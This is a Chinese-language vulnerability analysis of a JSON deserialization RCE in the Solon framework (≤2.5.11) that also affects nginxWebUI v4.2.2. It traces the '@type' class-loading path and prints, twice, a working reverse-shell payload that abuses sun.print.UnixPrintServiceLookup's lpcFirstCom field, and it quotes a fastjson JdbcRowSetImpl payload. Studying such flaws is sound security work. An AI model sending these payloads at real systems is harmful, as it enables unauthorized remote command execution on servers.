前言
上次看到星球有提到过solon这个国产的web框架,⾃⼰后⾯⼜看了下,发现在2.5.11及之下的版本对
json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE
环境搭建
直接使⽤官⽅的⽰例 https://solon.noear.org/start/build.do?
artifact=helloworld_jdk8&project=maven&javaVer=1.8
修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)
然后注意必须要在linux&&jdk环境下启动
漏洞触发的条件很简单,只要有接收参数的任意路由即可
POC
直接post发送如下json数据即可RCE
// 反弹shell { "name": { "@type": "sun.print.UnixPrintServiceLookup", "lpcFirstCom": [ ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;", ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;" ] } }
漏洞分析
先看看solon是怎么处理json数据的参数绑定的
直接在hello路由下断点,然后往前跟踪调⽤栈
我们直接发送json格式的数据
从这⾥往上找参数绑定的调⽤栈
可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 这⾥调⽤
执⾏了 mWrap.invokeByAspect(obj, args.toArray()) 从⽽调⽤我们⾃定义的
com.example.demo.DemoController#hello ⽅法,⽽在上⾯的29⾏执⾏
buildArgs(ctx, obj, mWrap) ,从名⼦就能看出来是⽤于参数绑定
我们跟进这个参数绑定的⽅法
buildArgs中先是会对接收到的数据进⾏ changeBody 处理
当我们传的是json数据时会做⼀个json解析,得到⼀个ONode对象
后续回到 buildArgs 则是对hello路由⽅法的参数取得类型,并根据类型做相应的处理
后续来到 this.changeValue 这⾥
有⼀些判断,检验是否有 hello ⽅法对应的参数
继续跟进来到关键的 toObject ⽅法中
⼀路跟进来到 org.noear.snack.to.ObjectToer#analyse 中,这⾥会对我们的 ONode 对
象做⼀些特殊处理
这⾥有两个点要过,由于我们传⼊的json是 {"name":"pankas"} ,所以这⾥流程会⾛到正常的字
符串处理, clz 的值为 java.lang.String我们发送这样的json看看后续会怎么处理
{"name":{}}
修改后来到 clz = this.getTypeByNode(ctx, o, clz);
跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode ⽅法中可以看到,当类型为
Object 时,会取其中键为 @type 的值来进⾏⼀个类的加载
这⾥我们先随便给⼀个类看看
{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}
可以看到确实进⾏了⼀个类加载
后续看看是怎么处理这个 clz 的
后续在⼀个 switch case后,会来到⼀个 Object的处理位置
... ...
case Object: o.remove(ctx.options.getTypePropertyName()); if (Properties.class.isAssignableFrom(clz)) { return this.analyseProps(ctx, o, (Properties)rst, clz, type, genericInfo); } else if (Map.class.isAssignableFrom(clz)) { return this.analyseMap(ctx, o, clz, type, genericInfo); } else { if (StackTraceElement.class.isAssignableFrom(clz)) { String declaringClass = o.get("declaringClass").getString(); if (declaringClass == null) { declaringClass = o.get("className").getString(); }
return new StackTraceElement(declaringClass, o.get("methodName").getString(), o.get("fileName").getString(), o.get("lineNumber").getInt()); }
if (type instanceof ParameterizedType) { genericInfo = GenericUtil.getGenericInfo(type); }
return this.analyseBean(ctx, o, rst, clz, type, genericInfo); }
... ...
这⾥我们直接来到最后的 this.analyseBean(ctx, o, rst, clz, type,
genericInfo);
这⾥就能发现对上⾯获取到的 clz 进⾏看实例化
后续会判断我们传⼊的对象中是否有对应属性的值,如果存在则会进⾏⼀个赋值
赋值这⾥关键要看⽬标类中有哪些属性,不同于fastjson的是这⾥赋值并不会调⽤对象的 setter
或 getter ⽅法
这⾥⽬标类的获取⾸先也是从缓存中获取,先来看看第⼀次加载⽬标类是如何处理包装的
跟进 ClassWrap.get(clz)
在 ClassWrap 的构造⽅法中会调⽤ this.scanAllFields(clz, map::containsKey,
map::put) 对⽬标类进⾏⼀个扫描
/** * 扫描⼀个类的所有字段 */ private void scanAllFields(Class<?> clz, Predicate<String> checker, BiConsumer<String, FieldWrap> consumer) { if (clz == null) { return; } for (Field f : clz.getDeclaredFields()) { int mod = f.getModifiers(); if (!Modifier.isStatic(mod) && !Modifier.isTransient(mod)) { if(_isMemberClass && f.getName().equals("this$0")){ continue; } if (checker.test(f.getName()) == false) { _recordable &= Modifier.isFinal(mod); consumer.accept(f.getName(), new FieldWrap(clz, f, Modifier.isFinal(mod))); } } } Class<?> sup = clz.getSuperclass(); if (sup != Object.class) { scanAllFields(sup, checker, consumer); } }
可以看到,我们最终所获得的 Field 是⽬标类中的⾮静态变量
继续往下,看看是怎么对我们所创建的对象进⾏赋值的
... ... for (FieldWrap f : clzWrap.fieldAllWraps()) { if (f.isDeserialize() == false) { continue; } String fieldK = f.getName(); if (excNames != null && excNames.contains(fieldK)) { continue; } if (o.contains(fieldK)) { Class fieldT = f.type; Type fieldGt = f.genericType; if (f.readonly) { analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o, f.getValue(rst), genericInfo); } else { Object val = analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o, f.getValue(rst), genericInfo); if (val == null) { //null string 是否以 空字符处理 if (ctx.options.hasFeature(Feature.StringFieldInitEmpty) && f.type == String.class) { val = ""; } } f.setValue(rst, val, disSetter); } } } ... ...
先随便给个值 {"name":
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource":"pankas"}}
(中间还有⼀些递归处理json对象嵌套流程省略,代码很清晰,可以⾃⼰看看)
进⼊ f.setValue(rst, val, disSetter);
这⾥也是⽐较简单,如果有对应的 setter 则⽤对应的 setter 进⾏赋值,没有则使⽤反射进⾏赋值
所以整个json的解析和fastjson是⽐较相似的,那为什么不能使⽤fastjson的payload直接打呢
原因是这⾥赋值的前提条件时⽬标对象必须要有对应的字段才可以
⽐如说这⾥经典的fastjson的payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099 /badClassName", "autoCommit":true}
由于⽬标对象中并没有 dataSourceName 或 autoCommit 属性,所以并不会调⽤其 setter
⽅法,所以这算是⼀个很⼤的限制。
那有没有能利⽤的类呢,刚好有⼀个,就是 sun.print.UnixPrintServiceLookup 这个类,
关于这个类⽹上都有很多的资料了,这⾥不过多做解释
sun.print.UnixPrintServiceLookup 在实例化时会开启⼀个线程循环执⾏
UnixPrintServiceLookup.this.refreshServices();
在linux下会执⾏到 this.getDefaultPrinterNameBSD(); ⽅法
其中存在⼤量的命令拼接及执⾏操作
所以这⾥我们直接覆盖修改 lpcFirstCom 属性即可
最终我们的payload就是
// 反弹shell { "name": { "@type": "sun.print.UnixPrintServiceLookup", "lpcFirstCom": [ ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;", ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;" ] } }
最新版 nginxWebUI(v4.2.2) 前台RCE
后⾯⼜看了下有哪些使⽤了⽐较⽼版本的solon,发现nginxWebUI 的solon版本是2.4.5,刚好是存在
漏洞的版本。
但使⽤官⽅的docker镜像环境发现RCE失败了,原因是默认是使⽤jre环境,找不到
sun.print.UnixPrintServiceLookup 这个类,所以限制其实还蛮⼤的(看看其他师傅们有
没有办法解决这个问题)
所以这个洞也只能是在jdk环境下启动才⾏
使⽤jdk环境下启动nginxWebUi发现就能正常RCE了